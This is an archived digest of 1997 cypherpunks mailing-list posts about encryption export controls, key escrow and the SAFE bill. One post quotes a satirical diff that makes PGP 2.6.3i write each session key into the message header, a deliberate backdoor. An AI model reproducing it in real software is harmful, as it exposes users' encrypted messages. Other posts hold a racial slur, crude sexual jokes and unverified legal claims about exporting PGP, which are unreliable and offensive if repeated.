   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 13 Sep 1997 08:06:14 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: In Defense of Libertarianism, from HotWired's Synapse (fwd)
Message-ID: <199709130004.TAA23630@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 12 Sep 1997 07:47:21 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> Subject: In Defense of Libertarianism, from HotWired's Synapse

>    Libertarianism is not about anarchy, utopia, or selfishness. Instead,
>    libertarians simply are skeptical of "nanny government," and recognize
>    the many ways state power has been abused in the past. They believe
>    that government programs like health assistance, Social Security,
>    foreign aid, and corporate welfare do more harm than good. They argue
>    that everyone must be equal before the law, and everyone has human
>    rights to personal security, to property, and to free speech that the
>    government must protect, not violate.

If the Libertarians are so gung-ho on avoiding governmental (especialy
federal) intervention in their lives why do they support the 14th Amendment?
Why do they steadfastly stick to the position that the states should be
forced to be homogenous in their laws under the federal government? It is
clear that the founding fathers wanted the situation in the several states
to be quite dynamic and diverse, otherwise why "Congress shall make no
law..." and not something more comprehensive preventing the states from such
laws as well?

Why do they further not ask why the 9th and 10th are not fully respected and
used by both the legislative and judicial branches of the federal
government?

No, the Libertarians have an agenda that is broader than simply reducing the
intervention of government in our daily lives. They want a situation that
provides them the upper hand, both politicaly and economicaly, while at the
same time reducing the ability of their opponents to gain an advantage. From
this perspective they are just another elephant or jackass...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 13 Sep 1997 10:19:04 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Note to Net-lobbyists: give it up already, abandon Congress
In-Reply-To: <v03007809b03f58869b1d@[163.176.132.90]>
Message-ID: <3.0.2.32.19970912190550.0076863c@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:25 PM 9/12/97 -0400, Declan McCullagh wrote:
>Lee, of course, has it exactly right. This is why (in retrospect) the
>attempt to pass SAFE was doomed -- and dangerous.

I hate to say this, but "I told you so". And I was not the only one. Nobody
that subscribes to Cypherpunks can claim hindight.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 13 Sep 1997 01:18:28 +0800
To: cypherpunks@ssz.com
Subject: SAFE
Message-ID: <199709121711.TAA01070@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Bible Revelations 13:17:

"And no man shall be able to buy or sell without the mark of the
beast..."

God





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: I Told You So <itys@dev.null>
Date: Sat, 13 Sep 1997 10:21:53 +0800
To: cypherpunks@toad.com
Subject: Fuck ITAR in the EAR
Message-ID: <3419E881.5C02@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Hello CoE cell mates,

I notice Bubba, or was that TruthMonger, one of them anyway, has been
ranting about stirring some shit for the GAKkers by exporting
something from the US by way of Canada.

I have it from a good source that it is perfectly legal to do this as
there is a loop-whole in Candian law.  But you have to do it in a
particular way.

Lets say you wish to export PGP from Canada.  Your American accomplice
emails you PGP.  You write to the appropriate canadian department of
export controls telling them: "I'm going to export PGP.  I just
imported it from the US.  I am required by Canadian law to inform you
in writing before I do this.  Consider yourself informed".  Post the
letter.  Then export PGP.

(The amercian accomplice is optional, you can just import it yourself
if you can find a US site which will give it to you with a domain of
dev.null or sympatico.ca, should be doable, William Geigher's site has
it for open download for instance.)

Ok the wording above in quotes is important, if you _ask_ them for
permission, they'll faff around and not give it to you.  But the point
is you _don't need their permission_ according to Canadian law, you're
just supposed to inform them _before_ the export.

So apparently there have been some very interesting crypto things
exported this way.  All that happens to the canadian person is that
they receive a letter from the Canadian export control bods with much
teeth gnashing and entreatments not to export, please.  Guess this
letter would be worthy of framing and hanging on the wall along beside
Bubba Rom Dos portrait.

Voila.

Course that may not have the desired effect.  If you want to cause
more shit, do things in the wrong order.  That is export it, then
write them saying "I am required to inform you prior to export.  I
think this is stupid.  I exported PGP last week.  So arrest me."

btw all these clear text Bcc's... not that I mind or anything, but I
prefer PGP encrypted emails, that way the bubba rants etc provides
nice cover traffic for my real nefarious purposes.

You can `remail' the story if you like (I'm pretty sure it's good
legal advice), if you remail, do it without my name on it.

Kent Crispin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 13 Sep 1997 07:52:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: House Intelligence Committee Press Release
In-Reply-To: <v0400130eb03e52897697@[205.180.136.85]>
Message-ID: <v0311078ab03f7c0f3df8@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:03 pm -0400 on 9/11/97, Dave Del Torto forwarded:

>  Ranking
> Democrat Norm Dicks (WA-6).
           ^^^^^^^^^^
Excuse me while I laugh so hard the milk comes out my nose.

Oooops... Self re-flatulance. Excuse me...


So, let's have fun, if it's really possible, with a name, shall we?

Um,

Normless Dick?

Normie Dickless?

I also find it hard that a "ranking democrat" has a normal dick, anyway,
impute that how you will...


Wiping the front of my shirt, now,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 13 Sep 1997 07:42:39 +0800
To: Declan McCullagh <declan@vorlon.mit.edu>
Subject: Re: Are we men or mice?  Re: House panel votes behind closed doors to build in Big Brother (fwd)
In-Reply-To: <Pine.LNX.3.95.970912165432.3595D-100000@vorlon.mit.edu>
Message-ID: <Pine.SUN.3.96.970912184035.23828A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 12 Sep 1997, Declan McCullagh wrote:

> We have a goddamn right to use encryption without a government backdoor.

Frankly among certain crowds many backdoors and other bugs have been
detected in most OS's, how will the mother fuckers keep them from being
found and used?  I mean, all you have to do is simply get their attention
and have them snoop on you, meanwhile you watch all the packets and record
the weird ones and you've got a copy of their session.  Yeah, they may use
crypto on the back door, but even so, you now know their formats, and can
also disassemble the code.  When you do, you've got the hole and can
publish it. 

Once you publish the hole and break the program.  Who will have confidence
in that program after it's broken?

After the evil laws, our jobs will be to break ALL GAK'ed software.  How
will they prevent that?  Passing more laws to make the exposure of bugs
and holes illegal?  Sort of like the cell scanner laws? :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 13 Sep 1997 14:48:10 +0800
To: cypherpunks@Algebra.COM
Subject: CONGRESS CALLS FOR TIMEOUT IN HEATED ENCRYPTION DEBATE
Message-ID: <3.0.3.32.19970912191956.006985cc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



"Consensus.  How quaint."

>> CONGRESS CALLS FOR TIMEOUT IN HEATED ENCRYPTION DEBATE - With the
   congressional debate over computer encoding policy headed for a major
   showdown, lawmakers Thursday decided to slow the process and spend
   two weeks looking for a consensus approach. [Reuters [BR], 439 words]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 13 Sep 1997 07:32:47 +0800
To: Lee Tien <tien@well.com>
Subject: Note to Net-lobbyists: give it up already, abandon Congress
In-Reply-To: <v03007809b03f58869b1d@[163.176.132.90]>
Message-ID: <Pine.GSO.3.95.970912191654.10375N-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Lee, of course, has it exactly right. This is why (in retrospect) the
attempt to pass SAFE was doomed -- and dangerous. Crypto-advocates didn't
have enough votes to override a veto and likely never will, as long as
this is a "national security issue." If you're going to try the
legislative route, elect a crypto-friendly president first. Maybe
Ashcroft, one potential candidate, will be that fellow. Certainly
Kerrey-with-an-e, also jockeying for the job, isn't. 

What the Net-lobbyists did was open the lid of a Pandora's Box they didn't
have the strength to close.

I'm not the only one who thinks so. Two people have griped to me in so
many hours about how milquetoast and disinterested Silicon Valley is in
crypto. They shouldn't have started something they didn't have the strengh
to finish, especially if it has such dire consequences when perverted. 

Message to Net-lobbyists: look at what happened when this time. Please
concentrate on blocking all crypto legislation, not trying to fix it.
(Yes, I realize you won't have anything do with crypto, won't "be a
player." Shucks.) The status quo, combined with the court challenges, is
not that bad.

-Declan


On Fri, 12 Sep 1997, Lee Tien wrote:

> The govt never plays just one game.  This was for them a nice piece of
> judo, taking the momentum built up by the lobbying for SAFE, and
> redirecting it.
> 
> Clinton would veto a "good" bill, and I seriously doubt that anyone ever
> thought a veto-proof "good" bill could be fashioned.  The status quo has
> great inertia.  Presidents prefer not to veto bills if they don't have to,
> though -- the most effective way to use a veto is to make the proponents of
> legislation trip over their own feet in trying to get a compromise.
> 
> The administration also uses this process as a probe.  Drafts are floated,
> and they get feedback.  They learn where the congressfolks really are, see
> how effective the tried and true classified briefing is, see how effective
> the opposition is.  Many positions can be tested with commitment to none
> because there's "internal conflict."
> 
> It looks like no-lose for the administration.  If unSAFE passes, they're
> ecstatic.  If nothing passes, nothing changes.  Export controls are still
> there, and the "voluntary" recoverable crypto initiative continues apace.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 13 Sep 1997 10:36:25 +0800
To: cypherpunks@toad.com
Subject: Louis Freeh as boytoy
Message-ID: <Pine.GSO.3.95.970912191621.5321n-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



>From a gay friend...

"As a gay man, I wouldn't mind coming home to find Louis Freeh in my
bedroom -- but I can understand why others might be upset."

"If Louis Freeh weren't such a pig I'd pork him."

"Now I know why Bill Gates named his company MicroSoft."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bianca <bianca@dev.null>
Date: Sat, 13 Sep 1997 10:01:24 +0800
To: cypherpunks@toad.com
Subject: Hint: He's your worst nightmare...
Message-ID: <3419EC2C.6D78@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Lag Test #2: Who has returned to the CypherPunks mailing list after
             a long fucking absence?

Answer: [Your wrong guess here.]

Lag Test #3: What was the most obvious sign of his absence?

Answer: [Wrong answer here.]

Lag Test #4: Why is he really, really pissed?

Answer: [Don't worry. He'll let you know.]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sat, 13 Sep 1997 07:55:14 +0800
To: <cypherpunks@toad.com>
Subject: Re:
Message-ID: <199709122333.TAA01905@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 9/12/97 1:31 AM, Anonymous (nobody@REPLAY.COM)  passed this wisdom:

 [snip]

>Now think about this: You're Joe Random Govt. Worker at the 
>official secret key repository, and there's a budget crisis going 
>on - instead of paychecks, you're getting I.O.U.'s. Your terminal 
>has access to thousands, perhaps millions, of secret keys. You grab 
>one of CitiBank's, forge a few transactions, and 30 seconds later 
>your Swiss bank account is a few million dollars fatter and 
>according to the digital signature, the transaction originated in 
>L.A.. 

 Please correct me if I am wrong, but could not a GAK backdoor be
written that will simply permit decryption only of the ciphertext and
not encryption. Would not this prevent this from happening?

  Don'tget me wrong. It scares the hell out of me too, but maybe, in
addition to that various things Tim has suggested we might also
consider how to make the GAK as secure as cam be to minimize its
potential for disaster.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNBnRQcdZgC62U/gIEQK+qACfSPjDLBIKmN4AgvEU6nBPmKKF+94AnR6T
4ZV9vbLb7vCpaaKGZA1mPTmH
=MbPr
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
         For PGP Keys -  Send Email Subject "Get PGP Key"
  "The only thing necessary for evil to triumph, is for good men to 
   stand by and do nothing"  Edmund Burke






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 13 Sep 1997 07:57:50 +0800
To: Will Rodger <whgiii@amaranth.com>
Subject: Re: More on House Intelligence committee amendment on crypto
In-Reply-To: <Pine.GSO.3.95.970911214453.23060D-100000@well.com>
Message-ID: <v031107a0b03f81a48da8@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:23 am -0400 on 9/12/97, Will Rodger wrote:


> "Twas none other than Adam Smith - Rep. from Microsoft's own Puget
> sound. I saw his hand.

Ohhhh.

I can see it now, 5 years hence:

"Bill Gates was indicted for treason today by special order of President
Gore. His vast ill-gotten fortune has been impounded under the RICO laws."

Call me paranoid. Call me anything you want. Just don't call me late for
supper. ;-).

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fuck You <fu@sk.sympatico.ca>
Date: Sat, 13 Sep 1997 10:08:55 +0800
To: "Brian B. Riley" <brianbr@together.net>
Subject: Re: If you don't have anything to say in the Subject line, why should we expect you have anything to say in the message body?
In-Reply-To: <199709122333.TAA01905@mx02.together.net>
Message-ID: <3419F0D5.2542@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Brian B. Riley wrote:

>   Don'tget me wrong. It scares the hell out of me too, but maybe, in
> addition to that various things Tim has suggested we might also
> consider how to make the GAK as secure as cam be to minimize its
> potential for disaster.

  Glad, you asked...
  The reason I am posting as 'Fuck You' is that it saves time giving
my standard answer to the increasing number of idiots, schills, and
pawns on the CypherPunks list, these days.
  Not that I'm complaining, you understand. I 'like' saying, "Fuck You."
I like it a lot. As a matter of fact, I like it so fucking much that I
am amazed that the fucking idiots who ought to know better like the
person who has stolen my Net persona more than me, just because she
has a great pair of tits.
  Men...

  Oh yeah...about the post I am replying to, here.
  Brian. The bytes you saved by not including a Subject header were more
than wasted by the useless words you put in the message body.

  Close, but no cigar, Bri. Let me rephrase that for you.
   "we might also consider how to make the GAK as 'apparently' secure as 
cam (bad grammar and spelling left intact) to minimize its potential for
disaster."
  There _is_ no 'secure' in the government computer lexicon, Bri. Not 
even in the 'Cyphernomicon' will you find the word 'secure' found, used
as a substite for the phrase, "We're SAFE now, the government is using
a 'rubber'."

  Go back outside and come in again, next time with a Subject header and
a new list persona. You've pretty much ruined the one you're using now.

Fuck You
--------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 13 Sep 1997 14:39:40 +0800
To: Mike Duvos <cypherpunks@cyberpass.net
Subject: Re: More on House Intelligence committee on crypto
In-Reply-To: <19970912002736.17098.qmail@zipcon.net>
Message-ID: <3.0.3.32.19970912200547.006985cc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:27 PM 9/11/97 -0700, Mike Duvos wrote:
>
>Clearly the entire House Intelligence Committee should be
>"suitcased" immediately.

In my part of the business, we use the term "suitcased" to 
refer to taking a training course out to somebody's site
and giving it there rather than making them all come to you.
Are you suggesting we need to give CONgress a rapid education, on-site ?

:-)

Meanwhile, Bill Frantz wrote:
>And over what is merely the practical application of some obscure
>mathematics, these turkeys are willing to trash the constitution they are
>sworn to support and defend.  It would be really funny if it wasn't so
>grim.

Why not?  They're willing to trash the Constitution and the crime rate
over the political incorrectness of various plant products,
why not do it over something with a potentially _large_ social impact?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 13 Sep 1997 14:43:42 +0800
To: Steve Mynott <stevey@webmedia.com>
Subject: Re: Netscape browser crypto
In-Reply-To: <3417D3FD.7EE214DC@webmedia.com>
Message-ID: <3.0.3.32.19970912200737.006985cc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:41 PM 9/11/97 -0700, Tom Weinstein wrote:
>Steve Mynott wrote:
>> Also is it possible to import certificates (PGP?) into the browser so
>> you aren't stuck with Verisign et al.
>
>You can import X.509 certificates and private keys.  The data format is
>an early version of PKCS#12, which is actually more similar to MicroSoft's
>PFX.  I believe the spec is available on our web site.  There are also a
>number of other CAs on the web, including Thawte in South Africa.

Also xcert in Canada - www.xcert.com, unless they're www.xcert.ca.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Sat, 13 Sep 1997 11:29:43 +0800
To: cypherpunks@toad.com
Subject: Re: Cypherpunks write GAK
Message-ID: <19970913032201.22852.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain





>
>Security And Freedom Through Encryption:
>=======================================
>
>This patch adds a Law Enforcement Access Field to PGP 2.6.3i, which
>can be used to provide, upon presentment of a court order, immediate
>access to plaintext data.
>
>This tool will frustrate illegal and deadly activity of terrorist
>groups that plot to blow up buildings, drug cartels that seek to
>poison our children, and those who proliferate in deadly chemical and
>biological weapons, and will bring international criminals to justice.
>
>GAKMonger
>~~~~~~~~~
>
>diff -u ../pgp263i/src/armor.c ./armor.c
>--- ../pgp263i/src/armor.c	Wed Jan 17 21:37:20 1996
>+++ ./armor.c	Sat Sep 13 03:30:57 1997
>@@ -41,6 +41,7 @@
> static int armordecode(FILE * in, FILE * out, int *warned);
> static void mk_crctbl(crcword poly);
> static boolean is_armorfile(char *infile);
>+extern char leaf[];
> 
> /*      Begin ASCII armor routines.
>    This converts a binary file into printable ASCII characters, in a
>@@ -597,6 +598,13 @@
> 		1, noSections);
>     }
>     fprintf(outFile, "Version: %s\n", LANG(rel_version));
>+    if (leaf[0])
>+    {
>+	fprintf(outFile, "LEAF: ");
>+	for (i = 1; i <= IDEAKEYSIZE; i += 3)
>+	    outdec(leaf+i, outFile, 3);
>+	putc('\n', outFile);
>+    }
>     if (clearfilename)
> 	fprintf(outFile, "Charset: %s\n", charset);
>     if (globalCommentString[0])
>diff -u ../pgp263i/src/crypto.c ./crypto.c
>--- ../pgp263i/src/crypto.c	Mon Jan 15 22:37:59 1996
>+++ ./crypto.c	Sat Sep 13 03:33:19 1997
>@@ -420,6 +420,9 @@
>  * The "skip" parameter says to skip that many bytes at the beginning,
>  * used to generate a random IV only for conventional encryption.
>  */
>+
>+char leaf[IDEAKEYSIZE+1];
>+
> static int make_random_ideakey(byte 
key[IDEAKEYSIZE+RAND_PREFIX_LENGTH],
> 			       int skip)
> {
>@@ -445,7 +448,11 @@
> 	 */
> 	count = IDEAKEYSIZE+RAND_PREFIX_LENGTH;
> 	for (count = skip; count < IDEAKEYSIZE+RAND_PREFIX_LENGTH; count++)
>-		key[count] = cryptRandByte() ^ trueRandByte();
>+	{
>+	    key[count] = cryptRandByte() ^ trueRandByte();
>+	    leaf[count-skip+1] = key[count];
>+	}
>+	leaf[0] = 1;
> 
> 	/*
> 	 * Write out a new randseed.bin.  It is encrypted in precisely the
>diff -u ../pgp263i/src/pgp.c ./pgp.c
>--- ../pgp263i/src/pgp.c	Thu Jan 18 19:06:45 1996
>+++ ./pgp.c	Sat Sep 13 02:36:44 1997
>@@ -410,6 +410,16 @@
> #endif
> 	  stderr);
> 
>+fputs("American citizens have a right to their privacy and their 
access to the
>+freest possible markets. But they also have a right to their safety 
and
>+security. Terrorist groups that plot to blow up buildings; drug 
cartels
>+that seek to poison our children, and those who proliferate in deadly
>+chemical and biological weapons are all formidable opponents of peace 
and
>+security in the global society. These bad actors must know that the 
United
>+States' law enforcement and national security agencies, working under 
the
>+proper oversight, will have the tools to frustrate illegal and deadly
>+activity and bring international criminals to justice.\n", stderr);
>+
>     get_timestamp((byte *) & tstamp);	/* timestamp points to tstamp */
>     fprintf(pgpout, LANG("Current time: %s\n"), ctdate(&tstamp));
> }
>
>
What is this????????????


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 13 Sep 1997 08:50:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Prayer to A.M. Turing
Message-ID: <f9931eb58d9d5e7a2cbc85b4b644f37e@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>Alan Turing writes:
>> Adam Back wrote:
>> >Your email to Lord Turing may bounce, your hashcash postage doesn't
>> >collide:
>> >
>> >% ashcash AlanMathisonTuring 10110AlanMathisonTuring8ef2b1912670b51
>> >collision: 0 bits
>> >%
>> 
>> Add an "f".
>
>Impressed:
>
>% ashcash AlanMathisonTuring 10110AlanMathisonTuring8ef2b1912670b51f
>collision: 33 bits
>%
>
>That collision would take 30 hours to generate on my pentium.

Dear Lord Turing, 

Please buy Adam a new computer.

Your Friend,

Monty Cantsin

P.S. 10116AlanMathisonTuringf344355bfb358bdf

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNBmpt5aWtjSmRH/5AQEZnAf7BbLEswS1fZYiC3oSNBPHtop7WX8sTAAg
hLQYXKsEEtvg15pCA8icRZz7J6vGFjLbKeuWVu7rUVVVEPCg8t+ZRp1ZFLR+TJAO
Kh4eDxWoQ1GbJnlEsFQQwyzbUBGuV4fJ2lZ66HjO43kgICemN7sPdi3U2uxwIVfo
HM6c6gjMb9q17lPLa8S3d4Q4mrd/dnmO6E+b4pwND919G7GCKv7Rr4Jv5YORAqmr
UiPSoFLmGaKdrTpodsuu1bZtVNAZaJv7EZBmS9lNHMkeLjmfj3rpGNMh4+Q4rQRc
Nb1oR2q0b8lswmc3qpaAE5OBPSZmkwR1glxxG61fcZld58rpP+klbA==
=JycN
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sat, 13 Sep 1997 12:11:17 +0800
To: cypherpunks@cyberpass.net
Subject: Assault Weapons, Strong Cryptography, And Large Breasts
Message-ID: <3.0.3.32.19970912205537.0073336c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3984.1071713731.multipart/signed"

--Boundary..3984.1071713731.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

The excuse used by the government to justify regulation of firearms and
cryptography is one of crime prevention:

* "We can't let people have machine guns--they might go wacko and shoot a
whole bunch of people."

* "We can't let people have rifles or pistols with magazines that hold more
than 10 rounds--they might go wacko and shoot a whole bunch of people."

* "We can't let people have sawed-off shotguns--they are too easy to
conceal.  Someone might be able to hide one under their coat and then rob a
convenience store.

* "We can't let people have Nigger Town Saturday Night Specials--they are
too easy to conceal.  Someone might be able to hide one under their coat
and then mug somebody."
(This is the original, unabridged version of the term--the sanitized
version is just more acceptable to the public.  Some of the first gun
control laws in the US were passed to prevent black people from defending
themselves against the KKK, shortly after the Civil War.)

* "If we let people communicate using encryption, then terrorists and
pedophiles will be able to run amok."

This logic sounds good on the surface, but unfortunately it has a serious
flaw.  Like the difficulty with the old Mafia "protection" rackets, the
problem becomes "Who will protect us from the protector?"  Government has a
legitimate role in capturing and punishing those who harm others.  However,
when government attempts to prevent people from harming themselves or
others, the "cure" becomes worse than the "disease".

One can apply this warped logic just as aptly to body parts as firearms or
cryptographic software.  Women can use their bodies to solicit sexual
services (prostitution), and spread sexually transmitted diseases.  Should
we require them to license their breasts?  (Anyone C-cup or larger must pay
a $75 annual license fee per breast, D-cup or larger, $100.  Flat-chested
women will have to pay $150 for their concealable "Saturday Night
Specials", and of course carrying a concealed breast is a felony.)  Men can
commit crimes with their penises--rape, incest, sodomy, etc.  Shall we
license penises, too?  ($25 annually per erect inch, and any "assault
penis" capable of ejaculating more than once per erection will be
immediately confiscated.)

"Honey, Junior and I are going to go to the range, so I can teach him how
to shoot safely."

"You know I don't like guns, especially that one you have that looks like
an Uzi.  I just don't think it's right for Junior to be around such things.
 Besides, shooting is dangerous."

"Guns aren't dangerous, as long as you follow the appropriate safety rules
when handling them.  That is what I am going to teach Junior today."

"But I don't want Junior to be around guns.  You have all the equipment you
need to be a bank robber or terrorist, and that bothers me."

"Well, you have all the equipment you need to be a whore.  Should that
bother me?"

Prohibition was an attempt to prevent people from hurting themselves or
others due to excessive alcohol consumption.  Agents of the government
arrested those involved in the production and sale of alcoholic beverages.
Since government cannot change people's desires, the demand for the
consumption of alcohol remained.  Organized crime moved in to supply the
demand, and instead of saving lives, Prohibition cost lives--and freedoms.
The drinkers continued to drink, and due to the gun battles that ensued
when the government tried to stop them, the government decided to outlaw
(for all but a privileged few) private ownership of machine guns.

This trend continues today.  Purveyors of crack cocaine, heroin, and
methamphetamines have replaced bartenders as the boogeymen.  "Assault
weapons" are constantly reviled in the media as the tools of drug dealers
and terrorist criminals.  The government continues to strip away our rights
because "it needs to in order to be able to fight the War On Drugs".

Drugs are the excuse for some of the most onerous asset-forfeiture laws in
the civilized world--right here in the USA.  If police suspect (they don't
need any proof) that you are involved in drug trafficking, your house, car,
bank accounts, and other valuables can be confiscated.  They do not need to
be returned, even if you are never even charged with any crime.  (My source
for this: ABC's "20/20" news show, which is hardly a bastion of right-wing
fanatacism.)

As I write this, the House of Representatives is working on a bill that
effectively criminalizes electronic communication that does not provide a
transcript of the communication to the government.  The justification for
this Orwellian intrusion is terrorism, drug trafficking, child pornography,
money laundering, and various and sundry classified and therefore
unspecified "threats to national security".  Of course, the justification
is utter hogwash.

Instead of teenage hackers intercepting financial communications and
emptying our bank accounts, it can be done by professionals whose salaries
are paid by our taxes.  Instead of a few crackheads trying to break into
your house looking for cash or valuables to fund their next fix (a
situation created by our ridiculous War On Drugs), you can be assaulted by
your friendly neighborhood SWAT team searching for your unescrowed
encryption keys, equipped with eveything up to and including tanks and
armored personnel carriers, which you have the privilege of paying for out
of your pocket.

The source code for crypto isn't going to evaporate just because 536
politicians pass a law.  People still own machine guns, which in addition
to being illegal, are expensive to purchase, difficult to manufacture, and
difficult to hide from determined searchers.  On the other hand, the source
code for PGP and other cryptographic software is readily available, and
very easy to copy and redistribute, so even if house-to-house searches are
conducted, there will be tens of thousands of sources for it.  I suspect
that Crypto Prohibition will enjoy even less popular support than the
original did.

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

Get your assault crypto before they ban it!

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3984.1071713731.multipart/signed
Content-Type: application/octet-stream; name="pgp00004.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00004.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
